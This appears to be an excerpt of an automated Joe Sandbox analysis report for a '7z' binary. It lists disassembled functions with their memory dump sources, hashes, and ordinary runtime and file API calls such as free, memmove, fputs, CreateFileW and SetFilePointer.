                                                                                                                                                                                                                                                                                    • Instruction ID: 55a58cc84605c9e8b4cb521328b65e31e558fb7c01820210f9ba5972f9604e93
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DE31F872214B85C6FB10DF28E890F5A7761F385B65F644329E6AE436B4DB3CD986CB00
                                                                                                                                                                                                                                                                                    Function 00C82320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$fputsmemmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 4106585527-0
                                                                                                                                                                                                                                                                                    • Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
                                                                                                                                                                                                                                                                                    • Instruction ID: f8f7eee34e5471327bf94e672110c56f7c353ac8cf5a6e7dbf2b2ed2cb283954
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1601527320844091DA20BB25E85555E6721E7C5BE8F046321FE6F876F9DE2CCA86D708
                                                                                                                                                                                                                                                                                    Function 00C868A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesFilefree
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1936811914-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
                                                                                                                                                                                                                                                                                    • Instruction ID: fb0ce8cebb533ee4e4f5ddc351fee794b23e42a4d755715081bf472768bb1562
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DD01D62230460182EA30BB21D59477E17659BC6BFDF181325EE7D877E5CE28CE87A709
                                                                                                                                                                                                                                                                                    Function 00C87D4C Relevance: 6.0, APIs: 4, Instructions: 39COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesFilefree
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1936811914-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
                                                                                                                                                                                                                                                                                    • Instruction ID: d8d9f236ae4c8ad9f4053c6261a6f8d1d878cce7d29974e3fc2faa22838447f8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C1F0442620864481DA30BB35E99427D12219BDA7FCF640321EE7D877F9EF18CE869704
                                                                                                                                                                                                                                                                                    Function 00CA3E14 Relevance: 5.1, APIs: 4, Instructions: 142COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1534225298-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
                                                                                                                                                                                                                                                                                    • Instruction ID: 666c026685aad16f93bea41ef03874c9c05cf5b06146d4ec0bd52a0070667075
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B2519072700A819BCA30EF16E89029DB360F789BD8F404216EF9E47B59DF38D5A5C744
                                                                                                                                                                                                                                                                                    Function 00CA9BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
                                                                                                                                                                                                                                                                                    • Instruction ID: 74b271f2e22e24dc0a9a275613ef2853ac8cdf53917d8bc2d40cbe05cdc8705c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FC31E373714A8186CB20EF16E48501E67A1F789BACB589235FF5E47758DB38CD81C700
                                                                                                                                                                                                                                                                                    Function 00CAA9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
                                                                                                                                                                                                                                                                                    • Instruction ID: 9044a6592e4d88a9a49bd06f7bebc206e877cae21ff8d3644964cbe0b8d771fa
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B311C92120854151DA10FB65E5552AE9750EBD27F8F501321BFBE83AFADF18CD4BDB04
                                                                                                                                                                                                                                                                                    Function 00CACF80 Relevance: 5.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ExceptionThrowmemmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3934437811-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
                                                                                                                                                                                                                                                                                    • Instruction ID: 68d3823c40d5994b659576d41f34c66eb542beb5a079ab50d02395e335179aa5
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: ED1184637006C08BCA30AF25E95439EA710E7527A8F584315EFAA077A9DF68D54AC700
                                                                                                                                                                                                                                                                                    Function 00CA01A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
                                                                                                                                                                                                                                                                                    • Instruction ID: 2c74bca2e614c5672e6726426488045c83846f555d0bb436a07d4261008ec72b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6A01DF7220464041CD20FB11F55916E9721EBC6BECF6453117E6E576A5DE38CA46D708
                                                                                                                                                                                                                                                                                    Function 00C88CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C889D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C889EA
                                                                                                                                                                                                                                                                                    • CreateFileW.KERNELBASE ref: 00C88D51
                                                                                                                                                                                                                                                                                    • CreateFileW.KERNEL32 ref: 00C88DA4
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C88DB2
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateFile$CloseHandlefree
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 210839660-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
                                                                                                                                                                                                                                                                                    • Instruction ID: bfd0618ff90a0a5fa075b309b243572a595e3173d96d3669591cbfadaa96c806
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4721A1331046819AD760AF15A841A5E6720B396BF8F540322EFB943BE4CF38C99A8B04
                                                                                                                                                                                                                                                                                    Function 00CC2CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83274: memmove.MSVCRT ref: 00C832AC
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC2D41
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC2DCF
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CC2DFF
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82300: fputc.MSVCRT ref: 00C82311
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs$fputcfreememmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1158454270-0
                                                                                                                                                                                                                                                                                    • Opcode ID: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
                                                                                                                                                                                                                                                                                    • Instruction ID: 24fece7b0848067311d590be5dd7a84441927e796f9844981b17de8933346491
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 182183A2200A0181DF30FF25E86576E6360EB95BE8F48A221EE5F47769DF3CC645D704
                                                                                                                                                                                                                                                                                    Function 00C8CE1C Relevance: 3.9, APIs: 3, Instructions: 178COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorLast$memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3796167841-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
                                                                                                                                                                                                                                                                                    • Instruction ID: 1d54571da4645866af1800301e8f5fb269890d118b37a1beddba7181fc7877f1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BB51B332310754A7EF25EE7AD5807A923A1FB4479CF140126DF1A87B90DB39D9A6C318
                                                                                                                                                                                                                                                                                    Function 00C82300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputc
                                                                                                                                                                                                                                                                                    • String ID: Kernel
                                                                                                                                                                                                                                                                                    • API String ID: 1992160199-1736990243
                                                                                                                                                                                                                                                                                    • Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
                                                                                                                                                                                                                                                                                    • Instruction ID: 675cb1906a9a381506d944d035d8e2da464923e884a2c5ae8b3c078590f77fb1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 01C09295B90A4C82FF181BBBE885B291222D75DFA1F1C6035CE1D0B3A0DA2CD4E78721
                                                                                                                                                                                                                                                                                    Function 00CCB1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00CCB20D
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CCB232
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82B04: _CxxThrowException.MSVCRT ref: 00C82B2D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82B04: free.MSVCRT ref: 00C82B44
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExceptionThrowfputsfreememset
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3104931167-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
                                                                                                                                                                                                                                                                                    • Instruction ID: 928d93fcfa7c4db26b8162a01f31db3a40d44c100225ba2f82cd362dd0480331
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3F01ADB77006909AE705DFAAEA85B5E6720F759B98F088026DF0807711DB74D8AAC310
                                                                                                                                                                                                                                                                                    Function 00C88A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SetFilePointer.KERNELBASE(?,?,00000003,?,00C88E1D), ref: 00C88A99
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,00000003,?,00C88E1D), ref: 00C88AA6
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2976181284-0
                                                                                                                                                                                                                                                                                    • Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
                                                                                                                                                                                                                                                                                    • Instruction ID: c59f514aa807dc311f30ecf325ae56b6a2105849b536715738f9af0b5c5b0c35
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1BF0C866B0168093EF28AB69D444B982351A759B9CFEC4122CA1843F90DE29C98BD710
